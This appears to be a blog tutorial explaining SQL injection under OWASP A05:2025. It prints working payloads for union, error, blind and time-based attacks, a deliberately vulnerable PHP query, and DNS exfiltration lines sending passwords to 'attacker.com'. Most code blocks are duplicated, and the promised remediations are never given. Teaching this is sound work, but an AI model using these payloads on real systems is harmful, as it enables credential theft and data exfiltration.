August 9, 2026
OWASP Top 10: A05:2025(CWE-89) SQL Injection
Introduction
By Okan
4 min read
Despite decades of awareness and advancing security frameworks, improper handling of untrusted input remains a critical vulnerability. While Injection(A05:2025) dropped two spots from 3 to 5 in OWASP 2025, its high prevalence across CWE metrics underscore its severity. In this article, SQLi(CWE-89) will be explained in detail; its root cause, exploitation&impact and remediations.
Types of SQL Injection
SQLi consists in 3 categories; In-band (Classic) SQLi, Blind SQLi and Out-of-band (OAST) SQLi.
In-band (Classic) SQLi
In-band (Classic) SQLi occurs when a threat actor uses same communication channel to retrieving/exfiltrating data, extracting error message or information message within HTTP response. To carry out this SQLi attack 2 methods could be used by threat actors; error-based and union-based. HTTP response/information/error occurs across UI in these 2 methods.
Union-based SQLi occurs when attacker uses the UNION keyword to combine legitimate SQL query with the malicious query. Injected threat actor's column count must be equal to column count which is returned by original query and returned colum data type must be same.
Request:
-- Original query
SELECT title, description FROM products WHERE category = 'Gifts';
-- Injected paramete across HTTP:
GET /products?category=Gifts'+UNION+SELECT+username,+password+FROM+users-- HTTP/1.1
Host: target.com-- Original query
SELECT title, description FROM products WHERE category = 'Gifts';
-- Injected paramete across HTTP:
GET /products?category=Gifts'+UNION+SELECT+username,+password+FROM+users-- HTTP/1.1
Host: target.comResponse:
<!-- Revealed credentials-->
<div class="product">admin : $2y$10$e8K... (password hash)</div>
<div class="product">cucurella : $2y$10$w9L...</div><!-- Revealed credentials-->
<div class="product">admin : $2y$10$e8K... (password hash)</div>
<div class="product">cucurella : $2y$10$w9L...</div>Error Based SQLi occurs when threat actor attempts to induce server to render error messages(display_errors = On misconfiguration) by passing malformed forcing to database to gather crucial information.
Request:
-- Threat Actor forces type conversation(Type Conversion Error) :
GET /products?id=1'+AND+CAST((SELECT+version()) AS+INT)-- HTTP/1.1
Host: target.com-- Threat Actor forces type conversation(Type Conversion Error) :
GET /products?id=1'+AND+CAST((SELECT+version()) AS+INT)-- HTTP/1.1
Host: target.comResponse: Database version detail has been revealed in the error message because of it can not be converted to INT data type.
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
<html>
<body>
<h3>Database Error</h3>
<p>Conversion failed <b>'PostgreSQL 14.2 linux-gnu'</b> to data type int.</p>
</body>
</html>HTTP/1.1 500 Internal Server Error
Content-Type: text/html
<html>
<body>
<h3>Database Error</h3>
<p>Conversion failed <b>'PostgreSQL 14.2 linux-gnu'</b> to data type int.</p>
</body>
</html>Blind SQL Injection
It uses when database informations cannot be observed on the UI. Unlike classical SQLi, threat actor can not observed anything regarding database on the UI. But this state is not obstacle for the threat actor because the tools such as Burpsuite can intercept and modified request by their intention. To implement Blind SQLi 2 methods could be used; boolean-based and time-based.
Boolean-based Blind SQLi involves injecting conditional SQL queries that evaluate to TRUE or FALSE.
GET /users?id=1' AND SUBSTRING((SELECT username FROM users WHERE id=1),1,1)='a'-- HTTP/1.1
Host: target.comGET /users?id=1' AND SUBSTRING((SELECT username FROM users WHERE id=1),1,1)='a'-- HTTP/1.1
Host: target.comIf the user's first letter is 'a' page loads expected state(TRUE), unless the first char is not 'a' page returned within error message or empty page(FALSE). According above principle threat actors tries all chars to capture username and password
Time-based Blind SQLi relies on injecting time-delay commands (such as sleep()) that execute only when a specified condition is provided.
GET /users?id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- HTTP/1.1
Host: target.comGET /users?id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- HTTP/1.1
Host: target.comIf the '1=1', database response waits for 5 seconds and the response delayed by 5 sec. Delayed response proves that threat actor injected useful payload.
Out-of-band (OAST) SQL Injection
OAST SQL Injection occurs when threat actor induce to database engine to initiate external network traffic.Threat actor exfiltrate crucial data within DNS query or HTTP request.
-- The attacker adds the database version as a subdomain to the DNS query using the UTL_INADDR package:
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1) || '.attacker-collaborator.com') FROM DUAL;-- The attacker adds the database version as a subdomain to the DNS query using the UTL_INADDR package:
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1) || '.attacker-collaborator.com') FROM DUAL;The threat actor exfiltrates data by capturing DNS queries sent to an attacker-controlled DNS server.
Root Cause Analysis (CWE-89)
The root case of SQLi lies in the failures of enforce strict seperation between code and data. Application puts user-supplied input to form field and database engine can not distinguish where query command and where user-supplied data begins.
In the following example, user input directly combined with the database query neither input validation or sanitization are exist.
<?php
$mysqli = new mysqli("localhost", "db_user", "db_pass", "vulnerable_db");
// Untrusted input retrieved directly from the HTTP Request
$id = $_GET['id'];
// Dynamic SQL query string combined
$query = "SELECT id, username, email FROM users WHERE id = '" . $id . "'";
// Executed directly by the database engine
$result = $mysqli->query($query);
?><?php
$mysqli = new mysqli("localhost", "db_user", "db_pass", "vulnerable_db");
// Untrusted input retrieved directly from the HTTP Request
$id = $_GET['id'];
// Dynamic SQL query string combined
$query = "SELECT id, username, email FROM users WHERE id = '" . $id . "'";
// Executed directly by the database engine
$result = $mysqli->query($query);
?>The query parser retrivies input and cannot distinguish data or code. If the input include SQLi parameters(UNION, OR 1=1 etc..), interpreter processes them as a executable command rather than real data
The application accepts arbitrary input directly from '$_GET['id']' parameter without enforcing data type constraints or stripping inappropriate chars.
The application assumed that incoming client side parameter strictly always match the expected data type. Contrary of popular belief, user may not match the parameter with the expected data-type and attempts to manipulate this form/input field with the arbitrary character to gain executable query.
Exploitation & Technical Impact
Exploitation occurs when threat actor attempts to switch legitimate query to malicious query by using append arbitrary parameters which are can not be protected from server-side. Exploitation occurs when an attacker weaponizes uncontrolled input to alter backend query logic. At the beginning, threat actor starts reconnaissance phase which is enable threat actor to discover vulnerable part and which payload could be used.
In-Band (Union-Based) Exploitation
As mentioned above, threat actor aims to gather information about input field and determines which payloads may be used or which payloads could be initial vector. Injects characters like quotes ' or double quotes " to force a syntax error and confirm the injectable parameter
If the SQLi exist and threat actor may pass the second phase, column and data type enumeration. At this phase threat actor is aware of the application vulnerable to SQLi and starts to discover table count, column count and data type. Using "ORDER BY *" clause to (e.g.(e.g., 1' ORDER BY 3 —, )determine how many columns are exist. Thus, threat actor captures how many columns are stored on table. Followed by, threat actor injects NULL values into UNION SELECT null,null to map compatible data types.
The attacker queries the system catalog (e.g., information_schema.tables in MySQL/PostgreSQL or sys.tables in MSSQL) to dump database, table, and column names:
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()--' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()--With the schema mapped, the attacker targets administrative tables to extract sensitive records, such as password hashes
' UNION SELECT username, password FROM users--' UNION SELECT username, password FROM users--Inferential (Blind) Exploitation
When the application does not return raw SQL errors or data directly in HTTP responses, attackers rely on boolean conditions or response delays.
At the Boolean-based, threat actor injects condition-based payloads to analyze response variations (e.g., page layout changes or HTTP status code shifts):
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a'--' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a'--At the Time-based, threat actor forces time delays on the database engine to confirm query execution when no output or status change is visible:
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--Out-of-Band (OAST / XML-Triggered) Exploitation
When direct response channels and time delays are restricted by network architectures or firewalls, attackers force the database engine to initiate external network requests (such as DNS lookups or HTTP requests) to an attacker-controlled server.
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE ROWNUM=1) || '.attacker.com') FROM DUAL;
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE ROWNUM=1) || '.attacker.com') FROM DUAL;Conclusion
SQL Injection persists because untrusted data is mixed with code. To effectively defend against CWE-89, teams must adopt a multi-layered security approach rather than relying on a single defense.